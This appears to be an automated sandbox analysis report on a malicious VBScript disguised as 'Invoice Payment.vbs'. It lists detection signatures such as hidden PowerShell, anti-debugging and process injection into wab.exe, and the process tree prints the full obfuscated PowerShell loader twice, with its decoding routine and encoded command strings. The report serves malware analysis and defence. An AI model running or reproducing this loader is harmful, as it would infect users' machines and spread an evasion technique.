Analysis
- max time kernel
149s - max time network
28s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
11/08/2026, 09:01
General
- Target Invoice Payment.vbs
- Size 42KB
- Sample260811-kzeamswtaz
- SHA256 fa7d31402f065f56dff0ace8cf4beb07ede65561b587a29cd57729e3c8b02d26
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice Payment.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -windowstyle hidden "function blarghz { [void](Get-Date); $endemarkeringmpex = 'snazzle'; [void](Get-Item '.')}$endemarkering = 'wobble'; Get-Random -Maximum 10 | Out-Host;$kontradiktioner=1723-1723;$miscite=-29850+35850;function quxnik { $unfadable = 'flobber'; [void](Get-ChildItem -Path '.')}function udslyngningerne ($paintproof) { [void](Get-Date); $skrmene = 'gnar';do {$repeatability=$paintproof[$kontradiktioner];$repeatability-=$kommandos[$kontradiktioner%10];$paintproof[$kontradiktioner]=$repeatability;$miscite=$paintproof[$kontradiktioner];$miscite=[char]$miscite;$brasiliens+=$miscite;$kontradiktioner++} while ($paintproof[$kontradiktioner])$brasiliens}$unfidgeting = 'mumble'; [void](Get-Location);function hauges ($endemarkering,$conductorless20) {$flosklen=udslyngningerne(@(118,212,226,217,211,209,198,228,217,202,196,216,226,220,155,198,221,225,224,141,118,210,227,227,210,217,200,230,221,215,190,212,231,232,160,148,142)) ;putrefacient ($flosklen)}[void](Get-Date); $stretchiness203 = 'zazz';[void](Get-Date); $eskamoteredes = 'zorp';Function Planlgningslov ($paintproof,$preconfined=0){$locknuts=udslyngningerne(@(173,178,227,227,228,201,215,230,203,159,140,181,230,228,219,166,198,229,211,155,134,194,232,231,215,210,204,154,146,213,179,216,226,233,222,214,212,225,212,142));$calathiscus=@(putrefacient ($locknuts));For($rootages=0; $calathiscus[$rootages] -ne $tubmaking; $rootages++){$calathiscus[$rootages] = hauges $calathiscus[$rootages] $kommandos[$rootages%10]}$enervate=udslyngningerne(@(127,217,227,222,220,132,192,213,214,198,196,202,209,210,146,199,198,222,207,217,186,216,231,216,227,215));$brents=putrefacient ($enervate);if ($preconfined) { putrefacient $brents}else {;$brents}}[void](Get-Date); $pinacolate = 'blip';function putrefacient ($utrygges) {.($afbrings) $utrygges}$kommandos=@(82,111,116,117,110,100,101,114,110,101);$semisteel = 'glip'; Get-Process | Select-Object -First 1 | Out-Host;$afbrings=udslyngningerne @(155,180,204);$hukommelsestabene='\Ravedes.Lin';$conductorless20ottomlessness=Planlgningslov 'Z0FEVUYzDBwKCiUcVDs6RFRCQFVpTyMcAFJRSU4dZFtPVRwSX0NbV3xfXVUpAQYZAUpgX0VFXlVVQ04jOx0REwEcSkNbV3xf';$latteren=Planlgningslov 'OhsABVRLSkNWUHxdTVtXSlRCX0oBGxUbCgUXFh4EOQQRWxoLBg==';$nondependancy = 'snip'; Get-Date | Out-Host;$endemarkeringmidines96=Planlgningslov 'HxwMGAJWSyELFyQKBi0jKC0mOjV8WVpF';$violinless=Planlgningslov 'FSog';$rhinolith=Planlgningslov 'BxwRB0MlAhcAEQ==';$endemarkeringareforkalknings=Planlgningslov 'bA==';Planlgningslov 'dggYGgwFCUgGADYIERgPDwwcCVh2ChoDVAUVAgoEJg5fUQYRDh0DCDcDBxAdEAQQCws3' 1;Planlgningslov 'dggYGgwFCUgIBCcDEAZTQAkTGhE3HREbQBcVHgcReksRGwoBCBMcDjcdHRsJBRcXCAogBBUZBQoMHAkWew==' 1;$latteren=$faulds[0];Planlgningslov 'dggYGgwFCUgLFysbHBADDQZDXFFvIRECQysHGAsGJk9ZNgEJRVYLCzYKGRQcDwAABws1Ah0RBwoAAVdT' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1;while (!$enterokinetic) {Planlgningslov 'dggYGgwFCUgIBDwbGxgLFgsXHVh2GwYACw==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsBFAAcRkEkBhsZBwoJFx0Wfk9QGQ8QERccADxDVFEIBQkBC0w=' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAREgCxQnCgcBJgEEFgsXeksGHQcKCh4HETpDVFENCwsWGwYmAAYZCxcWQF4KJhsbGAIBFgEAACEcXQ==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAQsWRkw=' 1;Planlgningslov 'dggYGgwFCUgNETcbGxkBAxxPSgAgFgAdCwkMEV9XZkEHAQ8QEAFOSDceVEdeVA==' 1;if ($ctetology) {Planlgningslov 'CQ0NAQs/OC9KAj4AFhQCXgkbGBY0AAYGBw8XGwACIRwRGR0PBBALESFSUBAcHREaCwg7DEVHWkoXFx0VPQEHECwLAQs=' 1;Planlgningslov 'IQxUUQYBARULCDMEHRsJREEeBxMhCRsHHQ0OAAcLNRwHEAIXDhMMACYcVFgrCgYdCgw8CFQ3FxAA' 1} Planlgningslov 'AQMREB5MUVs=' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1 ;Planlgningslov 'dggYGgwFCUgPCyYHGwUGCxcdGxZgW0VISgMJHQwEPlUVGQwFFxcCCT1EX1BKAgQHAgEhQRcaGwoR' 1;$latteren=$faulds[$anthophorous241]}$substitutabilities=127564;$proscriber=21129;Planlgningslov 'dggYGgwFCUgbASEEBhwYCgwcCRYiHRsSHAUITwkGckscEAoDAB8PDjsBEw==' 1;Planlgningslov 'dggYGgwFCUggCjwLHQYNCxMXHBxjX0VINScKHBgAIBspT1QiFx0DJzMcEUNaNxEABws1R1AAChcOAAcTPAYaEh0UFx0JFzMCXQ==' 1;Planlgningslov 'dggYGgwFCUgPAyQOGhELWT4mCx0mQTEbDQsBGwACD1VOND0nLDtAIjcbJwEcDQsVRkEcABoRBxcGHRgAIBZFRV9N' 1;Planlgningslov 'dggYGgwFCUgLCzQAGBEdWUETCBMzARAQQBcQEB0RIAYaEkZAFgcMFiYGAAAaBQcbAgwmBhEGQkAVAAEWMR0dFwsWTA==' 1;putrefacient $enfolds;function zoppy { $stretchiness203 = 'dorp'; [void](Get-Location)};;;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function blarghz { [void](Get-Date); $endemarkeringmpex = 'snazzle'; [void](Get-Item '.')}$endemarkering = 'wobble'; Get-Random -Maximum 10 | Out-Host;$kontradiktioner=1723-1723;$miscite=-29850+35850;function quxnik { $unfadable = 'flobber'; [void](Get-ChildItem -Path '.')}function udslyngningerne ($paintproof) { [void](Get-Date); $skrmene = 'gnar';do {$repeatability=$paintproof[$kontradiktioner];$repeatability-=$kommandos[$kontradiktioner%10];$paintproof[$kontradiktioner]=$repeatability;$miscite=$paintproof[$kontradiktioner];$miscite=[char]$miscite;$brasiliens+=$miscite;$kontradiktioner++} while ($paintproof[$kontradiktioner])$brasiliens}$unfidgeting = 'mumble'; [void](Get-Location);function hauges ($endemarkering,$conductorless20) {$flosklen=udslyngningerne(@(118,212,226,217,211,209,198,228,217,202,196,216,226,220,155,198,221,225,224,141,118,210,227,227,210,217,200,230,221,215,190,212,231,232,160,148,142)) ;putrefacient ($flosklen)}[void](Get-Date); $stretchiness203 = 'zazz';[void](Get-Date); $eskamoteredes = 'zorp';Function Planlgningslov ($paintproof,$preconfined=0){$locknuts=udslyngningerne(@(173,178,227,227,228,201,215,230,203,159,140,181,230,228,219,166,198,229,211,155,134,194,232,231,215,210,204,154,146,213,179,216,226,233,222,214,212,225,212,142));$calathiscus=@(putrefacient ($locknuts));For($rootages=0; $calathiscus[$rootages] -ne $tubmaking; $rootages++){$calathiscus[$rootages] = hauges $calathiscus[$rootages] $kommandos[$rootages%10]}$enervate=udslyngningerne(@(127,217,227,222,220,132,192,213,214,198,196,202,209,210,146,199,198,222,207,217,186,216,231,216,227,215));$brents=putrefacient ($enervate);if ($preconfined) { putrefacient $brents}else {;$brents}}[void](Get-Date); $pinacolate = 'blip';function putrefacient ($utrygges) {.($afbrings) $utrygges}$kommandos=@(82,111,116,117,110,100,101,114,110,101);$semisteel = 'glip'; Get-Process | Select-Object -First 1 | Out-Host;$afbrings=udslyngningerne @(155,180,204);$hukommelsestabene='\Ravedes.Lin';$conductorless20ottomlessness=Planlgningslov 'Z0FEVUYzDBwKCiUcVDs6RFRCQFVpTyMcAFJRSU4dZFtPVRwSX0NbV3xfXVUpAQYZAUpgX0VFXlVVQ04jOx0REwEcSkNbV3xf';$latteren=Planlgningslov 'OhsABVRLSkNWUHxdTVtXSlRCX0oBGxUbCgUXFh4EOQQRWxoLBg==';$nondependancy = 'snip'; Get-Date | Out-Host;$endemarkeringmidines96=Planlgningslov 'HxwMGAJWSyELFyQKBi0jKC0mOjV8WVpF';$violinless=Planlgningslov 'FSog';$rhinolith=Planlgningslov 'BxwRB0MlAhcAEQ==';$endemarkeringareforkalknings=Planlgningslov 'bA==';Planlgningslov 'dggYGgwFCUgGADYIERgPDwwcCVh2ChoDVAUVAgoEJg5fUQYRDh0DCDcDBxAdEAQQCws3' 1;Planlgningslov 'dggYGgwFCUgIBCcDEAZTQAkTGhE3HREbQBcVHgcReksRGwoBCBMcDjcdHRsJBRcXCAogBBUZBQoMHAkWew==' 1;$latteren=$faulds[0];Planlgningslov 'dggYGgwFCUgLFysbHBADDQZDXFFvIRECQysHGAsGJk9ZNgEJRVYLCzYKGRQcDwAABws1Ah0RBwoAAVdT' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1;while (!$enterokinetic) {Planlgningslov 'dggYGgwFCUgIBDwbGxgLFgsXHVh2GwYACw==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsBFAAcRkEkBhsZBwoJFx0Wfk9QGQ8QERccADxDVFEIBQkBC0w=' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAREgCxQnCgcBJgEEFgsXeksGHQcKCh4HETpDVFENCwsWGwYmAAYZCxcWQF4KJhsbGAIBFgEAACEcXQ==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAQsWRkw=' 1;Planlgningslov 'dggYGgwFCUgNETcbGxkBAxxPSgAgFgAdCwkMEV9XZkEHAQ8QEAFOSDceVEdeVA==' 1;if ($ctetology) {Planlgningslov 'CQ0NAQs/OC9KAj4AFhQCXgkbGBY0AAYGBw8XGwACIRwRGR0PBBALESFSUBAcHREaCwg7DEVHWkoXFx0VPQEHECwLAQs=' 1;Planlgningslov 'IQxUUQYBARULCDMEHRsJREEeBxMhCRsHHQ0OAAcLNRwHEAIXDhMMACYcVFgrCgYdCgw8CFQ3FxAA' 1} Planlgningslov 'AQMREB5MUVs=' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1 ;Planlgningslov 'dggYGgwFCUgPCyYHGwUGCxcdGxZgW0VISgMJHQwEPlUVGQwFFxcCCT1EX1BKAgQHAgEhQRcaGwoR' 1;$latteren=$faulds[$anthophorous241]}$substitutabilities=127564;$proscriber=21129;Planlgningslov 'dggYGgwFCUgbASEEBhwYCgwcCRYiHRsSHAUITwkGckscEAoDAB8PDjsBEw==' 1;Planlgningslov 'dggYGgwFCUggCjwLHQYNCxMXHBxjX0VINScKHBgAIBspT1QiFx0DJzMcEUNaNxEABws1R1AAChcOAAcTPAYaEh0UFx0JFzMCXQ==' 1;Planlgningslov 'dggYGgwFCUgPAyQOGhELWT4mCx0mQTEbDQsBGwACD1VOND0nLDtAIjcbJwEcDQsVRkEcABoRBxcGHRgAIBZFRV9N' 1;Planlgningslov 'dggYGgwFCUgLCzQAGBEdWUETCBMzARAQQBcQEB0RIAYaEkZAFgcMFiYGAAAaBQcbAgwmBhEGQkAVAAEWMR0dFwsWTA==' 1;putrefacient $enfolds;function zoppy { $stretchiness203 = 'dorp'; [void](Get-Location)};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Ravedes.Lin
memory/1716-12-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-15-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-6-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-8-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-7-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-9-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-10-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-11-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-0-0x00007FF98B9FF000-0x00007FF98BA00000-memory.dmp
memory/1716-5-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-16-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-17-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-18-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-19-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-20-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-22-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-4-0x00007FF98B870000-0x00007FF98C214000-memory.dmp
memory/1716-3-0x000001F1D6C90000-0x000001F1D6CB2000-memory.dmp
memory/4420-26-0x0000000004E60000-0x00000000054AA000-memory.dmp
memory/4420-25-0x0000000074F60000-0x000000007571C000-memory.dmp
memory/4420-29-0x00000000054B0000-0x0000000005516000-memory.dmp
memory/4420-30-0x0000000005520000-0x0000000005586000-memory.dmp
memory/4420-28-0x0000000074F60000-0x000000007571C000-memory.dmp
memory/4420-27-0x0000000004D90000-0x0000000004DB2000-memory.dmp
memory/4420-33-0x0000000005650000-0x00000000059AB000-memory.dmp
memory/4420-24-0x0000000002340000-0x0000000002376000-memory.dmp
memory/4420-35-0x0000000005B40000-0x0000000005B5E000-memory.dmp
memory/4420-36-0x0000000005C10000-0x0000000005C5C000-memory.dmp
memory/4420-37-0x00000000073A0000-0x0000000007A1C000-memory.dmp
memory/4420-38-0x00000000060E0000-0x00000000060FA000-memory.dmp
memory/4420-39-0x0000000006DC0000-0x0000000006E56000-memory.dmp
memory/4420-40-0x0000000006D60000-0x0000000006D82000-memory.dmp
memory/4420-41-0x0000000007FE0000-0x000000000859A000-memory.dmp
memory/4420-23-0x0000000074F72000-0x0000000074F73000-memory.dmp
memory/4420-43-0x00000000085A0000-0x000000000DC05000-memory.dmp
memory/4420-45-0x0000000074F60000-0x000000007571C000-memory.dmp
memory/4420-44-0x0000000074F72000-0x0000000074F73000-memory.dmp
memory/4420-47-0x0000000074F60000-0x000000007571C000-memory.dmp